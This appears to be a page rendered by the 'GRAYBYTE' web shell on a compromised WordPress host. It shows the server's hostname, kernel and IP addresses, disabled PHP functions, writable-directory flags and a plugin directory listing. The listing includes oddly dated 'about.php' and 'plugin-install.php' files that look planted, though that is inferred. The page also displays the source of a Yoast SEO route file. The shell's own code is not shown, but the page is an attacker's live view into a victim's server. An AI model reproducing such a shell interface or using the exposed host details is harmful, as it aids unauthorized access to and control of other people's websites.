✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/wordpress/network/user-interface//site-schema-aggregator-xml-route.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\User_Interface;

use WP_Error;
use WP_REST_Response;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;
use Yoast\WP\SEO\Schema_Aggregator\Application\Aggregate_Site_Schema_Map_Command;
use Yoast\WP\SEO\Schema_Aggregator\Application\Aggregate_Site_Schema_Map_Command_Handler;
use Yoast\WP\SEO\Schema_Aggregator\Application\Cache\Xml_Manager;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Aggregator_Config;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Aggregator_Conditional;

/**
 * Handles the route to represent all indexable post types as XML.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Site_Schema_Aggregator_Xml_Route implements Route_Interface {
	/**
	 * Represents the site schema prefix.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = 'schema-aggregator';

	/**
	 * Represents route to view the schema.
	 *
	 * @var string
	 */
	public const GET_SCHEMA_ROUTE = self::ROUTE_PREFIX . '/get-xml';

	/**
	 * The command handler instance.
	 *
	 * @var Aggregate_Site_Schema_Map_Command_Handler
	 */
	private $aggregate_site_schema_map_command_handler;

	/**
	 * The XML cache manager instance.
	 *
	 * @var Xml_Manager
	 */
	private $xml_cache_manager;

	/**
	 * The aggregator configuration instance.
	 *
	 * @var Aggregator_Config
	 */
	private $aggregator_config;

	/**
	 * Returns the conditional for this route.
	 *
	 * @return array<string> The conditionals that must be met to load this.
	 */
	public static function get_conditionals() {
		return [ Schema_Aggregator_Conditional::class ];
	}

	/**
	 * Site_Schema_Aggregator_Route constructor.
	 *
	 * @param Aggregate_Site_Schema_Map_Command_Handler $aggregate_site_schema_map_command_handler The command handler.
	 * @param Xml_Manager                               $xml_cache_manager                         The XML cache
	 *                                                                                             manager.
	 * @param Aggregator_Config                         $aggregator_config                         The aggregator
	 *                                                                                             configuration.
	 */
	public function __construct(
		Aggregate_Site_Schema_Map_Command_Handler $aggregate_site_schema_map_command_handler,
		Xml_Manager $xml_cache_manager,
		Aggregator_Config $aggregator_config
	) {
		$this->aggregate_site_schema_map_command_handler = $aggregate_site_schema_map_command_handler;
		$this->xml_cache_manager                         = $xml_cache_manager;
		$this->aggregator_config                         = $aggregator_config;
	}

	/**
	 * Registers routes with WordPress.
	 *
	 * @return void
	 */
	public function register_routes() {
		$schema_aggregator_xml_route = [
			'methods'             => 'GET',
			'callback'            => [ $this, 'render_schema_xml' ],
			'permission_callback' => [ $this, 'get_permission_callback' ],
		];

		\register_rest_route( Main::API_V1_NAMESPACE, self::GET_SCHEMA_ROUTE, $schema_aggregator_xml_route );
	}

	/**
	 * Permission callback for the route.
	 *
	 * @codeCoverageIgnore -- No sensible tests can be written for this.
	 *
	 * @return bool True if the user has permission, false otherwise.
	 */
	public function get_permission_callback(): bool {
		return true;
	}

	/**
	 * Returns a XML representation of the possible post types that can be used for schema.
	 *
	 * @return WP_REST_Response|WP_Error The success or failure response.
	 */
	public function render_schema_xml() {
		$cached_xml = $this->xml_cache_manager->get();
		if ( $cached_xml !== null ) {
			$xml = $cached_xml;
		}
		else {

			$post_types = $this->aggregator_config->get_allowed_post_types();

			$command = new Aggregate_Site_Schema_Map_Command( $post_types );
			$xml     = $this->aggregate_site_schema_map_command_handler->handle( $command );

			$this->xml_cache_manager->set( $xml );
		}
		$response = new WP_REST_Response( $xml, 200 );
		$response->header( 'Content-Type', 'application/xml; charset=UTF-8' );
		$response->header( 'Cache-Control', 'public, max-age=300' );

		return $response;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Sep 2026 11.20 PM
docteuh / users
0755
cache
--
9 Sep 2026 11.23 PM
docteuh / users
0755
about.php
0.239 KB
6 Feb 2020 7.33 AM
docteuh / users
0644
icon-redirect-manager-20260827192224.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
plugin-install.php
0.368 KB
24 May 2020 11.17 AM
docteuh / users
0644
site-schema-aggregator-cache-cli-command.php
2.658 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
site-schema-aggregator-cli-command.php
3.328 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
site-schema-aggregator-route.php
6.133 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
site-schema-aggregator-xml-route.php
4.229 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
site-schema-response-header-integration.php
2.652 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF